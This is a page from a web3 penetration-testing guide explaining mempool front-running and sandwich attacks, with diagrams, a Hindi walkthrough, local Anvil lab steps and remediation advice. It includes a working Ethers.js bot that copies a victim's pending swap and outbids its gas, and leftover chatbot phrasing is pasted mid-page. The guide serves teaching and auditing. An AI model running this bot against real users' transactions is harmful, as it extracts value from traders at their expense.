> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web3pentesting/3.-front-running-attacks.md).

# 3. Front-Running Attacks

On most blockchains, transactions don't get added to the ledger the instant you send them. They sit in a public waiting area first, and whoever is producing the next block chooses which transactions to include and in what order - usually favoring whoever pays a higher fee. That waiting period, combined with the fact that pending transactions are publicly visible before they're confirmed, is what makes this entire attack category possible.

If an attacker can see a profitable or exploitable transaction sitting in that waiting area before it's confirmed, they can react to it - jumping ahead of it, trailing behind it, or wrapping around it - to extract value at the original sender's expense.

```mermaid
flowchart LR
    A[User signs and broadcasts a transaction] --> B[Transaction enters the public waiting area]
    B --> C{Attacker is watching}
    C -->|Sees an opportunity| D[Attacker crafts their own transaction]
    D --> E[Attacker pays a higher fee to jump ahead, or targets a specific position]
    E --> F[Block is produced with attacker's transaction placed advantageously]
    F --> G[Victim's transaction executes in a worse position, attacker profits]
```

***

### 2. The Mempool - Where This All Happens

The mempool (memory pool) is where transactions wait once they're broadcast, before a validator picks them up and includes them in a block. Every node maintains its own view of it, and most of these pending transactions are publicly readable - anyone running a node, or using a mempool-watching service, can see what's waiting to be confirmed, including the transaction's target contract, function call, and parameters.

```mermaid
sequenceDiagram
    participant U as User's Wallet
    participant M as Public Mempool
    participant A as Attacker (watching)
    participant V as Validator/Block Producer

    U->>M: Broadcast transaction (visible to everyone)
    M-->>A: Attacker observes the pending transaction
    A->>M: Attacker broadcasts their own reactive transaction
    M->>V: Validator selects transactions for the next block
    V-->>V: Orders transactions, typically favoring higher fees
    V->>U: User's transaction is confirmed (in a worse position)
```

This visibility is the entire root cause. If nobody could see a transaction before it confirmed, none of this attack category would be possible in its current form - which is exactly why some of the mitigations later in this guide focus on hiding transaction details until it's too late for anyone to react.

***

### 3. How Transaction Ordering Actually Works

Validators generally aren't required to process transactions in the order they arrived - they're economically incentivized to prioritize transactions offering higher fees, since that's how they earn more from producing a block. An attacker exploits this directly: by offering a higher fee than a target transaction, they can all but guarantee their own transaction gets placed before it in the same block.

```mermaid
flowchart TD
    subgraph Mempool["Pending Transactions (Mempool)"]
        T1[Victim TX - normal fee]
        T2[Attacker TX - higher fee]
    end

    Mempool --> Sort[Validator sorts by fee priority]
    Sort --> Block["Block: Attacker TX first, then Victim TX"]
    Block --> Result[Attacker's action executes first, changing conditions before the victim's transaction runs]
```

***

### Front-Running Diagram

The attacker jumps ahead of the user to buy the token first at a lower price.

<figure><img src="/files/o52CywtQttYuFmnduRPU" alt=""><figcaption></figcaption></figure>

### Back-Running Diagram

The attacker waits for a target transaction to execute, then immediately triggers an action (like arbitrage or liquidation) right after.

<figure><img src="/files/JoT0O6pcIHR2WP8LJqFU" alt=""><figcaption></figcaption></figure>

### Sandwich Attack Diagram

<figure><img src="/files/sW4ors19vIbfXS4pygsw" alt=""><figcaption></figcaption></figure>

The attacker surrounds the user's trade on both sides to artificially manipulate the price and extract profit.If you want, I can explain:

* How private RPC networks like Flashbots bypass this public transaction ordering entirely
* How slippage tolerance settings directly prevent or permit sandwich attacks

Which concept would you like to explore next?<br>

***

### How Attackers Build the Script ?

An attacker does not use a generic script. The bot contains highly optimized modules tailored to specific blockchain realities.

### The Trigger Module

The script establishes a real-time WebSocket connection to a full node. It listens to the `pending` transaction stream (the mempool). It uses regular expressions or byte matching to check if the `to` field matches known Decentralized Exchange (DEX) routers (e.g., Uniswap, SushiSwap).

### The Parsing Module

The script decodes the transaction input data (`tx.data`). It isolates the smart contract function signature (the first 4 bytes of the keccak256 hash). If it detects a swap function, it extracts:

* Path: Which token is being bought.
* AmountIn: How much capital the victim is using.
* Slippage Tolerance: The minimum amount of tokens the victim will accept (`amountOutMin`).

### The Math Module

The bot runs local simulations of the automated market maker (AMM) constant product formula ($x \times y = k$). It calculates:

1. How much the victim's massive trade will pump the price.
2. If the profit from selling after that pump covers the network gas fees.

***

### 2. Practical Attack Scenario: The Sandwich Attack

The most common execution of front-running is a sandwich attack, which places transactions directly before and after the victim.

<figure><img src="/files/L5OflraFbQ6O6EZqDtRC" alt=""><figcaption></figcaption></figure>

```unset
                  [ MEMPOOL ]
       Victim sends swap tx (Gas: 20 Gwei)
                       │
                       ▼
             ┌───────────────────┐
             │  Attacker Bot     │
             │  Detects Target   │
             └─────────┬─────────┘
                       │
         ┌─────────────┴─────────────┐
         ▼                           ▼
[TX 1: Front-run]            [TX 2: Back-run]
Buys token early.            Sells token late.
Gas: 30 Gwei (High)          Gas: 20 Gwei (Same as victim)
         │                           │
         ▼                           ▼
 ┌───────────────┬───────────────────┬───────────────┐
 │ Block Step 1  │   Block Step 2    │ Block Step 3  │
 │ Attacker Buys │    Victim Buys    │ Attacker Sells│
 └───────────────┴───────────────────┴───────────────┘
                     [ BLOCKCHAIN ]
```

1. The Trap: The victim attempts to buy 100 ETH worth of a low-liquidity token ($TOKEN).
2. Front-run (Transaction 1): The attacker sees this and instantly buys $TOKEN using 10 ETH with 30 Gwei gas. The attacker gets the cheap base price.
3. The Victim Executes: The victim's transaction executes next with 20 Gwei gas. Because the attacker already bought some tokens, and because the victim's order is massive, the victim forces the price of $TOKEN to skyrocket. The victim suffers slippage.
4. Back-run (Transaction 2): The attacker instantly sells their $TOKEN back to the pool. Because the price is now artificially high due to the victim's trade, the attacker gets back \~12 ETH, netting a 2 ETH profit.

````

(hindi)
Ye **sandwich attack / MEV attack** ka example hai. Isme attacker victim ki transaction ko **victim se pehle buy** aur **victim ke baad sell** karke profit banata hai.

### 🥪 Step-by-step

Maan le ek token hai `$TOKEN`, aur uska liquidity pool chhota hai.

**1. Victim 100 ETH se TOKEN kharidna chahta hai**

Victim ki transaction pending hai. Attacker blockchain ke pending transactions/mempool mein dekh leta hai:

> "Acha, ye banda 100 ETH ka TOKEN kharidne wala hai. Isse price bahut upar jayega."

**2. Attacker pehle 10 ETH se TOKEN kharid leta hai**

Attacker victim se **pehle** apni transaction execute karwata hai.

So:

`Attacker BUY → Victim BUY → Attacker SELL`

Attacker ne TOKEN relatively **cheap price** par kharida.

**3. Ab victim ki 100 ETH wali transaction execute hoti hai**

Victim ka order bahut bada hai.

DEX mein liquidity limited hai, isliye jab victim 100 ETH ka TOKEN kharidta hai, pool mein:

`TOKEN ki demand ↑ → TOKEN ka price ↑↑`

Victim ko expected price se **kaafi mehenga TOKEN** milta hai.

Yahi victim ka **slippage** hai.

**4. Attacker ab apne TOKEN sell karta hai**

Ab TOKEN ka price victim ki huge purchase ki wajah se high ho gaya hai.

Attacker ke paas jo TOKEN pehle cheap mein kharide the, woh ab expensive hain.

Example:

`Attacker ne 10 ETH lagaye`

Victim ki trade ke baad price pump hua.

Attacker:

`TOKEN SELL → ~12 ETH receive`

So:

**Profit = 12 ETH − 10 ETH = 2 ETH**

### Basically attacker kya kar raha hai?

Attacker victim ke trade ko **sandwich** kar raha hai:

```text
Attacker BUY
      ↓
Victim BUY → price pumps
      ↓
Attacker SELL
```

Isliye naam **Sandwich Attack** hai — victim ki transaction attacker ki **buy aur sell transactions ke beech** phas jaati hai.

Ek important point: attacker khud price "artificially" pump nahi karta in the simple sense; **victim ka large market order** price ko move karta hai, aur attacker us price movement ka advantage leta hai.

````

<figure><img src="/files/anJsZmbiLr90ecMzkdzw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MIilYUfEfsj9RlA57U68" alt=""><figcaption></figcaption></figure>

### 3. Exploit Script (Ethers.js / Node.js)

Below is an educational penetration testing script designed to monitor a network, identify a target function, and outbid it using a gas multiplier.

```javascript
const { ethers } = require("ethers");

// 1. ENVIRONMENT CONFIGURATION
// Use a local WebSocket node or a testnet provider (e.g., Anvil, Hardhat, Alchemy)
const WS_PROVIDER_URL = "ws://127.0.0.1:8545"; 
const provider = new ethers.providers.WebSocketProvider(WS_PROVIDER_URL);

// Attacker private key (Loaded with test gas tokens)
const ATTACKER_PRIVATE_KEY = "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80";
const attackerWallet = new ethers.Wallet(ATTACKER_PRIVATE_KEY, provider);

// Target Contract: A mock vulnerable automated market maker or token router
const TARGET_ROUTER_ADDRESS = "0x5FbDB2315678afecb367f032d93F642f64180aa3".toLowerCase();

// Target Function Selector: First 4 bytes of Keccak256("swapExactTokensForTokens(uint256,uint256,address[],address,uint256)")
const TARGET_FUNCTION_SELECTOR = "0x38ed67c6";

async function startMempoolListener() {
    console.log("[+] Initializing Mempool Front-Running Listener...");
    console.log(`[+] Target Contract: ${TARGET_ROUTER_ADDRESS}`);

    // 2. LISTEN TO UNCONFIRMED TRANSACTIONS
    provider.on("pending", async (txHash) => {
        try {
            // Fetch complete transaction details from the mempool
            const tx = await provider.getTransaction(txHash);
            
            // Validation checks to maintain bot speed
            if (!tx || !tx.to || !tx.data) return;
            if (tx.to.toLowerCase() !== TARGET_ROUTER_ADDRESS) return;

            // 3. IDENTIFY TARGET EXPLOIT CONDITIONS
            if (tx.data.startsWith(TARGET_FUNCTION_SELECTOR)) {
                console.log(`\n[!] TARGET TRANSACTION DETECTED IN MEMPOOL`);
                console.log(`[-] Victim TX Hash: ${txHash}`);
                console.log(`[-] Victim Gas Price: ${ethers.utils.formatUnits(tx.gasPrice, "gwei")} Gwei`);

                // 4. GAS FEES CALCULATION (THE OUTBID)
                // Extract victim's gas and multiply it by 1.30 (30% premium) to jump ahead in the block ~100 ETH
                const victimGasPrice = tx.gasPrice;
                const attackerGasPrice = victimGasPrice.mul(130).div(100);

                console.log(`[*] Calculating optimal front-run gas...`);
                console.log(`[+] Attacker Gas Price: ${ethers.utils.formatUnits(attackerGasPrice, "gwei")} Gwei`);

                // 5. BUILD MALICIOUS TRANSACTION PAYLOAD
                // The attacker duplicates the action but executes it first with higher priority
                const frontRunTx = {
                    to: tx.to,
                    data: tx.data, // Copying input data parameters to claim the asset first
                    value: tx.value,
                    gasPrice: attackerGasPrice, 
                    gasLimit: tx.gasLimit.add(50000), // Ensure transaction doesn't run out of gas
                    nonce: await provider.getTransactionCount(attackerWallet.address)
                };

                // 6. BROADCAST EXPLOIT
                console.log("[*] Sending front-running transaction...");
                const txResponse = await attackerWallet.sendTransaction(frontRunTx);
                console.log(`[SUCCESS] Front-run broadcasted! Hash: ${txResponse.hash}`);
                
                // Wait for the block confirmation to verify order
                const receipt = await txResponse.wait();
                console.log(`[+] Front-run included in Block: ${receipt.blockNumber}`);
            }
        } catch (err) {
            // Suppress errors to ensure the listener stream remains unblocked
        }
    });
}

startMempoolListener();
```

***

### 4. How and Where to Test This Safely

Running front-running scripts on public mainnets without deep liquidity modeling will lose you money to gas fees or other advanced bots. Use a local simulation environment to test safely.

### Step 1: Set up a Local Mempool Environment

Standard testnets (Sepolia) process blocks chronologically but lack a competitive public mempool. Use Foundry (Anvil) or Hardhat to simulate real-time pending transactions.Install Foundry:

```bash
curl -L https://paradigm.xyz | bash
foundryup
```

Start a local node that simulates block mining delays (necessary to give your script time to read the mempool before confirmation):

```bash
# Spins up a local node with a 5-second block time interval
anvil --block-time 5
```

### Step 2: Deploy a Vulnerable Target Contract

Write a simple contract that rewards whoever calls it first, or a mock exchange pool, and deploy it to your local Anvil instance (`http://127.0.0.1:8545`).

### Step 3: Run Your Penetration Testing Lab

1. Window 1: Keep Anvil running with `--block-time 5`.
2. Window 2: Run the Node.js attack script: `node front_runner.js`.
3. Window 3: Simulate the victim. Send a transaction to the target contract using low gas (e.g., 10 Gwei) via a quick script or a wallet interface connected to Localhost.

### Step 4: Verify the Exploit

Check the terminal logs in Window 2 and your Anvil ledger. You will see:

* The script intercepted the victim's transaction hash.
* The script fired a matching transaction with 13 Gwei gas.
* In the ledger, the attacker's wallet address is executed before the victim's address inside the exact same block.

***

### 5. Remediation: How to Fix This Vulnerability

When auditing code, recommend these defensive patterns to developers to eliminate front-running risks:

* Commit-Reveal Schemes: Users submit a hidden, hashed version of their choice/transaction parameters in Phase 1. Once confirmed, they reveal the plaintext parameters in Phase 2. Bots cannot copy what they cannot read.
* Slippage Protection: Always enforce tight `amountOutMin` checks in DeFi applications. If a bot front-runs the user and moves the price past this threshold, the user's transaction safely reverts, canceling out the bot's profit margins.
* Private RPC Providers: Route production transactions through specialized private endpoints (like Flashbots Protect or MEV-Share) instead of the public mempool. These networks bypass public visibility, routing transactions directly to block builders.

Would you like to write a Commit-Reveal smart contract to see exactly how developers secure functions against mempool exploitation?<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web3pentesting/3.-front-running-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
